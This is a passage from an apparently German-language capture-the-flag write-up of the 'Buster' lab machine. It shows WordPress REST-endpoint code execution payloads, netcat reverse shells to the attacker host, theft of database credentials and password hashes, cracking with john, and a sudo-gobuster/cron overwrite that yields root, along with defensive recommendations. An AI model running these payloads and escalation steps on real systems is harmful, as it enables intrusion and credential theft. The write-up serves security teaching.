    HTTP/1.1 400 Bad Request
    [...]
    {"status":"error","message":"Query args missing"}
                            

    Analyse: Eine GET-Anfrage ohne Parameter schlägt fehl.

  2. Identifizieren der Code-Ausführung (POST mit phpinfo):
    # Burp Request (POST)
    POST /wp-json/wqc/v1/query HTTP/1.1
    Host: 192.168.2.162
    [...]
    Content-Type: application/json
    Content-Length: 55
    
    {
      "queryArgs":"phpinfo();",
      "queryType":"post"
    }
    
    # Burp Response (POST)
    HTTP/1.1 200 OK
    [...]
    Content-Length: 91692
    
    PHP 7.3.31-1~deb10u7 - phpinfo() [...]
                            

    Analyse: Eine POST-Anfrage mit JSON-Body, der `queryArgs` auf `phpinfo();` setzt, führt erfolgreich `phpinfo()` aus. Dies bestätigt die RCE-Fähigkeit.

  3. Prüfen von `disable_functions`:
    # Auszug aus phpinfo() Ausgabe:
    disable_functions: passthru,exec,system,popen,chroot,scandir,chgrp,chown,escapesh
                             

    Analyse: Viele gefährliche Funktionen sind deaktiviert, aber `shell_exec` ist *nicht* auf der Liste.

  4. Testen von `shell_exec` (Blind RCE via Ping):
    # Burp Request (POST)
    POST /wp-json/wqc/v1/query HTTP/1.1
    [...]
    Content-Type: application/json
    Content-Length: 62
    
    {
      "queryArgs":"shell_exec('ping 192.168.2.199 -c 5');",
      "queryType":"post"
    }
    
    # Burp Response (POST) - nach 5 Sek. Verzögerung
    HTTP/1.1 400 Bad Request
    [...]
    {"status":"error","data":"null","message":"Query args invalid"}
                            
    ┌──(root㉿CCat)-[~] └─# tcpdump icmp
    tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
    listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
    23:16:11.453856 IP buster.hmv > CCat: ICMP echo request, id 3814, seq 1, length 64
    23:16:11.453873 IP CCat > buster.hmv: ICMP echo reply, id 3814, seq 1, length 64
    # ... (weitere 4 Pings) ...
    ^C
    10 packets captured
                                  

    Analyse: Obwohl die Web-Antwort einen Fehler meldet, wird der `ping`-Befehl ausgeführt (Blind RCE), was durch die ICMP-Pakete im `tcpdump` auf dem Angreifer-System (192.168.2.199) bestätigt wird.

  5. Erlangen einer Reverse Shell:
    # Burp Request (POST)
    POST /wp-json/wqc/v1/query HTTP/1.1
    [...]
    Content-Type: application/json
    Content-Length: 83
    
    {
      "queryArgs":"shell_exec('nc -e /bin/bash 192.168.2.199 4445');",
      "queryType":"post"
    }
                            
    ┌──(root㉿CCat)-[~] └─# nc -lvnp 4445
    listening on [any] 4445 ...
    connect to [192.168.2.199] from (UNKNOWN) [192.168.2.162] 46652
    # (Shell Prompt erscheint hier)
                                 

    Analyse: Ein Netcat Reverse Shell Payload wird über `shell_exec` ausgeführt. Der Listener auf Port 4445 empfängt die Verbindung.

Erwartetes & Tatsächliches Ergebnis: Erfolgreiche Remote Code Execution und Etablierung einer Reverse Shell als Benutzer `www-data`.

Beweismittel: Erfolgreiche Ausführung von `phpinfo()`, erfolgreicher `ping` (Blind RCE), eingehende Reverse Shell Verbindung.

Risikobewertung: Kritisch. Der ungesicherte WQC-Endpunkt erlaubt beliebige PHP-Code-Ausführung (eingeschränkt durch `disable_functions`) und Command Injection über `shell_exec`, was zur vollständigen Kompromittierung des Webservers führt.

Empfehlungen (Admin):

Initial Access (Reverse Shell)

# stty rows 47 columns 94
# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Die empfangene Reverse Shell wird interaktiver gemacht (`stty`) und die Benutzeridentität mit `id` bestätigt.

Bewertung: Bestätigt den Zugriff als Benutzer `www-data`.

Empfehlung (Pentester): Umgebung enumerieren, nach Konfigurationsdateien und Wegen zur Rechteausweitung suchen.
Empfehlung (Admin): Webserver-Prozesse sollten immer mit minimalen Rechten laufen.

Post-Exploitation (www-data)

www-data@listen:~/html/wordpress$ ls -la
total 248
drwxr-xr-x  5 www-data www-data  4096 Jan  8 02:25 .
drwxr-xr-x  3 root     root      4096 Jan  7 23:52 ..
-rwxr-xr-x  1 www-data www-data   405 Jan  8 02:25 index.php
# ... (viele WordPress-Dateien) ...
-rw-rw-rw-  1 www-data www-data  3620 Jan  8 02:25 wp-config.php
# ... (restliche WordPress-Dateien) ...
                     
www-data@listen:~/html/wordpress$ cat wp-config.php
thehandsomeguy' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
# [...] (Rest der wp-config.php)
                     

Analyse: Das WordPress-Verzeichnis wird aufgelistet. Die Datei `wp-config.php` hat unsichere Berechtigungen (`-rw-rw-rw-`, weltbeschreibbar) und wird ausgelesen.

Bewertung: Kritischer Fund! Die `wp-config.php` enthält die Zugangsdaten zur WordPress-Datenbank: Benutzer `ll104567` und Passwort `thehandsomeguy` für die lokale MySQL/MariaDB-Datenbank.

Empfehlung (Pentester): Mit den gefundenen Datenbank-Credentials versuchen, auf die Datenbank zuzugreifen und weitere Informationen (z.B. Benutzer-Hashes) zu extrahieren.
Empfehlung (Admin): Die Berechtigungen für `wp-config.php` härten (maximal `644` oder `640`). Datenbank-Credentials sicher verwalten und nicht im Klartext speichern, wenn möglich.

www-data@listen:~/html/wordpress$ ls /home/
welcome
www-data@listen:~/html/wordpress$ su welcome
Password: # (Passwort 'thehandsomeguy' versucht?)
su: Authentication failure
                      

Analyse: Das `/home`-Verzeichnis wird aufgelistet, der Benutzer `welcome` wird gefunden. Versuch, mit `su` und dem gefundenen Datenbankpasswort zu `welcome` zu wechseln.

Bewertung: Fehlgeschlagen. Das Datenbankpasswort ist nicht dasselbe wie das Linux-Passwort für `welcome`. Passwort-Wiederverwendung liegt hier nicht vor.

Empfehlung (Pentester): Andere Wege zur Eskalation zu `welcome` suchen (z.B. Ausnutzen von `sudo`-Rechten, falls `www-data` welche hat, oder Auslesen des Passwort-Hashes aus der DB).
Empfehlung (Admin): Unterschiedliche Passwörter für verschiedene Dienste und Benutzer verwenden.

www-data@listen:~/html/wordpress$ find / -type f -perm -4000 -ls 2>/dev/null
   266805     48 -rwsr-xr-x   1 root     root        47184 Apr  6  2024 /usr/bin/mount
   262192     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   262193     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   262501    156 -rwsr-xr-x   1 root     root       157192 Jan 21  2024 /usr/bin/sudo
   262190     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   262189     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   266806     36 -rwsr-xr-x   1 root     root        34888 Apr  6  2024 /usr/bin/umount
   265545     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   262872     64 -rwsr-xr-x   1 root     root        63568 Apr  6  2024 /usr/bin/su
     2951     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   270458    428 -rwsr-xr-x   1 root     root       436552 Dec 24  2023 /usr/lib/openssh/ssh-keysign
   266768     52 -rwsr-xr--   1 root     messagebus    51184 Oct 23  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
                     

Analyse: Suche nach SUID-Dateien als `www-data`.

Bewertung: Findet nur die Standard-SUID-Binaries. Kein offensichtlicher PrivEsc-Vektor hier.

Empfehlung (Pentester): Datenbankzugriff weiter verfolgen.
Empfehlung (Admin): SUID-Berechtigungen minimieren.

www-data@listen:~/html/wordpress$ ss -altpn
State  Recv-Q Send-Q   Local Address:Port   Peer Address:Port
LISTEN 0      128            0.0.0.0:22          0.0.0.0:*
LISTEN 0      80           127.0.0.1:3306        0.0.0.0:*     users:(("mysqld",...)) 
LISTEN 0      128            0.0.0.0:80          0.0.0.0:*     users:(("nginx",pid=449,fd=6))
LISTEN 0      128               [::]:22             [::]:*
LISTEN 0      128               [::]:80             [::]:*     users:(("nginx",pid=449,fd=7))
                     

Analyse: `ss -altpn` listet lauschende TCP-Sockets und die zugehörigen Prozesse auf.

Bewertung: Bestätigt lauschende Dienste auf Port 22 (SSH), 80 (Nginx) und 3306 (MySQL/MariaDB, nur auf localhost `127.0.0.1`).

Empfehlung (Pentester): Bestätigt, dass die Datenbank lokal läuft und mit den gefundenen Credentials zugegriffen werden kann.
Empfehlung (Admin): Datenbankzugriff nur von localhost ist eine gute Sicherheitspraxis.

MySQL Datenbank Enumeration

www-data@listen:~/html/wordpress$ mysql -u ll104567 -p
Enter password: # (thehandsomeguy eingegeben)
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpress          |
+--------------------+
2 rows in set (0.000 sec)
                      
MariaDB [(none)]> use wordpress;
Database changed
MariaDB [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
# ... (Standard WP Tabellen) ...
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.000 sec)
                      
MariaDB [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+-----------------------+---------------------+-----------------------------------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email        | user_url              | user_registered     | user_activation_key                           | user_status | display_name |
+----+------------+------------------------------------+---------------+-------------------+-----------------------+---------------------+-----------------------------------------------+-------------+--------------+
|  1 | ta0        | $P$BDDc71nM67DbOVN/U50WFGII6EF6.r. | ta0           | 2814928906@qq.com | http://192.168.31.181 | 2025-01-08 03:10:43 |                                               |           0 | ta0          |
|  2 | welcome    | $P$BtP9ZghJTwDfSn1gKKc.k3mq4Vo.Ko/ | welcome       | 127.0.0.1@qq.com  |                       | 2025-01-08 04:29:28 | 1736310568:$P$B2YbhlDVF1XWIurbL11Pfoasb./0tD. |           0 | welcome      |
+----+------------+------------------------------------+---------------+-------------------+-----------------------+---------------------+-----------------------------------------------+-------------+--------------+
2 rows in set (0.000 sec)
                       

Analyse: Login in die MariaDB-Datenbank mit den Credentials aus `wp-config.php`. Auflisten der Datenbanken, Wechsel zur `wordpress`-Datenbank, Auflisten der Tabellen und Abfrage der `wp_users`-Tabelle.

Bewertung: Erfolgreich. Die `wp_users`-Tabelle enthält die Benutzernamen `ta0` und `welcome` sowie deren Passwort-Hashes im WordPress-eigenen Portable Hash Format (`$P$`). Der Hash für `welcome` ist `$P$BtP9ZghJTwDfSn1gKKc.k3mq4Vo.Ko/`.

Empfehlung (Pentester): Den Passwort-Hash für `welcome` extrahieren und versuchen, ihn offline mit `john` oder `hashcat` zu knacken.
Empfehlung (Admin): Starke Passwörter für WordPress-Benutzer verwenden. Regelmäßig Datenbank-Backups erstellen und sicher aufbewahren. Datenbankzugriff härten.

Privilege Escalation (www-data zu welcome)

Passwort-Hash Cracking (John)

┌──(root㉿CCat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt pass
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3]) 
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
104567           (?)     
1g 0:00:00:?? ... Completed ???% (ETA: ...) ... Guess/s ...
Use the "--show" option to display all of the cracked passwords reliably
Session completed
                     

Analyse: `john` wird verwendet, um die extrahierten WordPress `$P$`-Hashes (vermutlich in der Datei `pass` gespeichert) mit der `rockyou.txt`-Wortliste zu knacken.

Bewertung: Erfolg! Das Passwort für einen der Hashes (zugehörig zu `welcome`, basierend auf dem nächsten Schritt) wird als `104567` geknackt.

Empfehlung (Pentester): Das gefundene Passwort `104567` verwenden, um sich als Benutzer `welcome` anzumelden (z.B. via `su`).
Empfehlung (Admin): Starke, komplexe Passwörter verwenden, die nicht in Standard-Wortlisten vorkommen.

Wechsel zum Benutzer 'welcome'

www-data@listen:~/html/wordpress$ su welcome
Password: # (104567 eingegeben)
$ id
uid=1001(welcome) gid=1001(welcome) groups=1001(welcome)

Analyse: Mit `su welcome` und dem geknackten Passwort (`104567`) wird erfolgreich zum Benutzer `welcome` gewechselt.

Bewertung: Horizontale Bewegung/Privilege Escalation zum Benutzer `welcome` erfolgreich.

Empfehlung (Pentester): Die Umgebung als `welcome` untersuchen, insbesondere `sudo -l` erneut prüfen und nach weiteren PrivEsc-Möglichkeiten suchen.
Empfehlung (Admin): Keine neuen Erkenntnisse.

Privilege Escalation (welcome zu root)

welcome@listen:/var/www/html/wordpress$ sudo -l
Matching Defaults entries for welcome on listen:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on listen:
    (ALL) NOPASSWD: /usr/bin/gobuster
                     

Analyse: Überprüfung der `sudo`-Rechte für den Benutzer `welcome`.

Bewertung: Kritischer Fund! Der Benutzer `welcome` darf `/usr/bin/gobuster` als `ALL` (also `root`) ohne Passwort (`NOPASSWD`) ausführen. Dies ist eine bekannte und leicht auszunutzende Fehlkonfiguration für Privilege Escalation.

Empfehlung (Pentester): `gobuster` hat Optionen (wie `-o` zum Schreiben von Output), die missbraucht werden können, um Dateien als root zu schreiben. Dies kann genutzt werden, um z.B. `/etc/shadow`, `/etc/sudoers` zu manipulieren oder einen Cronjob zu erstellen/überschreiben.
Empfehlung (Admin): Niemals Tools wie `gobuster` (oder `find`, `vim`, `less`, etc.) mit `sudo NOPASSWD` erlauben, da sie fast immer Wege zur Eskalation bieten. Nur absolut notwendige, spezifische Befehle mit minimalen Rechten freigeben.

User Flag Fund (als welcome)

welcome@listen:/var/www/html/wordpress$ cd ~
welcome@listen:~$ ls -la
total 12
drwx------ 2 welcome welcome 4096 Jan  7 23:18 .
drwxr-xr-x 3 root    root    4096 Jan  7 23:16 ..
-rw-r--r-- 1 root    root      33 Jan  7 23:18 user.txt
                      
welcome@listen:~$ cat user.txt
29e0f786e8c90b3ce82e00de0ec7e7d3

Analyse: Wechsel ins Home-Verzeichnis von `welcome` und Auslesen der `user.txt`. Interessanterweise gehört die Datei `root`.

Bewertung: User-Flag erhalten.

Empfehlung (Pentester): Flag notieren.
Empfehlung (Admin): Berechtigungen für Flag-Dateien überprüfen.

Untersuchung von /opt/.test.sh (Cronjob Vorbereitung)

welcome@listen:~$ ls -la /opt/
total 12
drwxr-xr-x  2 root root 4096 Jan  7 23:57 .
drwxr-xr-x 18 root root 4096 Jan  7 21:50 ..
-rwx------  1 root root   10 Jan  7 23:57 .test.sh
                    
welcome@listen:~$ cat /opt/.test.sh
cat: /opt/.test.sh: Permission denied
welcome@listen:~$ echo "" > /opt/.test.sh
bash: /opt/.test.sh: Permission denied

Analyse: Untersuchung des `/opt`-Verzeichnisses. Eine versteckte Datei `.test.sh` wird gefunden, die `root` gehört und nur für `root` les-/schreib-/ausführbar ist.

Bewertung: Der Benutzer `welcome` kann die Datei weder lesen noch schreiben. Direkt ist sie kein Vektor.

Empfehlung (Pentester): Prozess-Monitoring (z.B. mit `pspy`) laufen lassen, um zu sehen, ob diese Datei von einem Prozess mit höheren Rechten ausgeführt wird.
Empfehlung (Admin): Versteckte Skripte in ungewöhnlichen Verzeichnissen sind verdächtig. Sicherstellen, dass Berechtigungen korrekt sind.

Cronjob Entdeckung (pspy)

# Kein Prompt, pspy wird ausgeführt └─# ./pspy64
Config: Printing events (colored=true): processes=true | file-system-events=false [...]
[...]
2025/01/24 23:29:01 CMD: UID=0     PID=1263   | /usr/sbin/CRON -f
2025/01/24 23:29:01 CMD: UID=0     PID=1264   | /usr/sbin/CRON -f
2025/01/24 23:29:01 CMD: UID=0     PID=1265   | /bin/sh -c /bin/bash /opt/.test.sh
                     

Analyse: `pspy` (ein Tool zum Überwachen von Linux-Prozessen ohne Root-Rechte) wird ausgeführt.

Bewertung: Kritischer Fund! `pspy` zeigt, dass jede Minute ein Cronjob als `root` (`UID=0`) den Befehl `/bin/sh -c /bin/bash /opt/.test.sh` ausführt. Das bedeutet, der Inhalt von `/opt/.test.sh` wird als root ausgeführt.

Empfehlung (Pentester): Da `welcome` `/usr/bin/gobuster` als root ausführen darf und `gobuster` die Option `-o` zum Schreiben von Output hat, kann `gobuster` verwendet werden, um `/opt/.test.sh` mit einem bösartigen Befehl (z.B. Reverse Shell) zu überschreiben. Dann muss man nur ~1 Minute warten, bis der Cronjob die Shell auslöst.
Empfehlung (Admin): Cronjobs, die Skripte aus potenziell unsicheren Orten wie `/opt` oder `/tmp` ausführen, vermeiden. Sicherstellen, dass Skripte, die als root laufen, nicht von unprivilegierten Benutzern überschrieben werden können.

Exploit via sudo gobuster und Cronjob

welcome@listen:/tmp$ echo "tmp/b" > a.txt
welcome@listen:/tmp$ echo 'nc -e /bin/bash 192.168.2.199 5555' > b
welcome@listen:/tmp$ chmod +x b
┌──(root㉿CCat)-[~] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
welcome@listen:/tmp$ sudo gobuster -w a.txt -u http://192.168.2.199 -n -q -o /opt/.test.sh
# (Keine Ausgabe von gobuster wegen -q)
┌──(root㉿CCat)-[~] └─# # Ausgabe des Python HTTP Servers:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.162 - - [27/Jan/2025 00:54:13] "GET / HTTP/1.1" 200 -
192.168.2.162 - - [27/Jan/2025 00:54:13] code 404, message File not found
192.168.2.162 - - [27/Jan/2025 00:54:13] "GET /7a8ae40e-6e0d-4ad8-a4f8-6a463f1332d9 HTTP/1.1" 404 - 
192.168.2.162 - - [27/Jan/2025 00:54:13] "GET /tmp/b HTTP/1.1" 200 - 
                      
┌──(root㉿CCat)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.162] 47312
id
uid=0(root) gid=0(root) groups=0(root)
                     

Analyse: 1. Eine Datei `a.txt` wird mit dem Inhalt `tmp/b` erstellt. 2. Eine Datei `b` wird mit dem Netcat Reverse Shell Befehl erstellt und ausführbar gemacht. 3. Auf dem Angreifer-PC wird ein Python HTTP-Server gestartet. 4. `sudo gobuster` wird ausgeführt: * `-w a.txt`: Verwendet `a.txt` als Wortliste (enthält nur `tmp/b`). * `-u http://192.168.2.199`: Zielt auf den HTTP-Server des Angreifers. * `-n`: Verhindert die Ausgabe des Statuscodes. * `-q`: Leiser Modus. * `-o /opt/.test.sh`: **Der entscheidende Teil!** Schreibt die (erfolgreiche) Ausgabe von Gobuster in die Datei `/opt/.test.sh`. 5. Gobuster (als root) fordert `http://192.168.2.199/tmp/b` an. Der Python-Server liefert den Inhalt von Datei `b` zurück (den `nc`-Befehl). 6. Gobuster schreibt diesen `nc`-Befehl in die Datei `/opt/.test.sh`, die `root` gehört. 7. Ein Netcat-Listener wird auf Port 5555 gestartet. 8. Der Cronjob führt `/opt/.test.sh` (jetzt mit dem `nc`-Befehl) als root aus, was die Reverse Shell zum Angreifer öffnet.

Bewertung: Genialer und erfolgreicher Exploit der `sudo gobuster`-Fehlkonfiguration in Kombination mit dem Cronjob. Privilege Escalation zu `root` abgeschlossen.

Empfehlung (Pentester): Kreative Ausnutzung von `sudo`-Rechten. Immer prüfen, ob Tools Output-Optionen haben, die zum Schreiben von Dateien missbraucht werden können.
Empfehlung (Admin): `sudo`-Regel für `gobuster` entfernen. Cronjobs sicher gestalten. Berechtigungen für `/opt/.test.sh` überprüfen (obwohl hier das Überschreiben das Problem war).

Root Flag

# id
uid=0(root) gid=0(root) groups=0(root)
# ls
note.txt
R00t_fl4g_is_HHHHerererererrererere.txt
                    
# cat R00t_fl4g_is_HHHHerererererrererere.txt
b6a1a0de4223ba038327fc9c647701fb

Analyse: In der Root-Shell wird die ID bestätigt und der Inhalt des Root-Verzeichnisses aufgelistet. Die Root-Flag-Datei wird ausgelesen.

Bewertung: Root-Flag erfolgreich erhalten.

Empfehlung (Pentester): Ziel erreicht.
Empfehlung (Admin): Keine neuen Erkenntnisse.

Flags

cat /home/welcome/user.txt
29e0f786e8c90b3ce82e00de0ec7e7d3
cat /root/R00t_fl4g_is_HHHHerererererrererere.txt
b6a1a0de4223ba038327fc9c647701fb

Zusammenfassung & Empfehlungen

Zusammenfassende Bewertung der Sicherheitslage: Das System "Buster" wies mehrere Schwachstellen auf verschiedenen Ebenen auf, die eine vollständige Kompromittierung ermöglichten. Der Einstieg erfolgte über eine Remote Code Execution Schwachstelle in einem WordPress-Plugin (vermutlich WP Query Console). Post-Exploitation führte zur Entdeckung von Datenbank-Credentials, die das Knacken eines Benutzerpassworts ermöglichten. Eine unsichere `sudo`-Konfiguration erlaubte diesem Benutzer dann, einen Cronjob zu manipulieren und so Root-Rechte zu erlangen.

Identifizierte Verletzlichkeiten (Zusammenfassung):

Allgemeine Empfehlungen:

Empfehlung (Admin):

  1. Sofortmaßnahmen:
    • Das unsichere WordPress Query Console Plugin (oder die entsprechende Funktion) sofort entfernen/deaktivieren.
    • Die `sudo`-Regel für `gobuster` für den Benutzer `welcome` entfernen.
    • Den Cronjob, der `/opt/.test.sh` ausführt, überprüfen und absichern (oder entfernen, wenn nicht benötigt). Berechtigungen für `/opt/.test.sh` korrigieren.
    • Passwörter für die Benutzer `welcome` und `ll104567` ändern.
  2. Webserver & WordPress Härtung:
    • Regelmäßig nach unbekannten oder unsicheren Plugins suchen und diese entfernen.
    • WordPress REST API-Zugriff einschränken.
    • Generische Login-Fehlermeldungen verwenden.
    • Berechtigungen für `wp-config.php` auf `640` oder `600` setzen.
    • Sicherheitsheader (X-Frame-Options, etc.) hinzufügen.
  3. System & Berechtigungen:
    • Datenbankpasswörter sicher verwalten. Starke Passwörter für Systembenutzer erzwingen.
    • `sudo`-Regeln nach dem Prinzip der geringsten Rechte erstellen. Niemals potenziell gefährliche Binaries mit `NOPASSWD` erlauben, insbesondere wenn sie Schreiboperationen (`-o`) ermöglichen.
    • Cronjobs überprüfen und sicherstellen, dass sie keine von unprivilegierten Benutzern manipulierbaren Skripte ausführen. Dateiberechtigungen von Cronjob-Skripten härten.
    • SSH härten (Keys bevorzugen, Fail2ban).
  4. Allgemeine Sicherheitspraktiken:
    • Regelmäßige Schwachstellenscans und Penetrationstests.
    • System und Software aktuell halten.
    • Logging und Monitoring implementieren.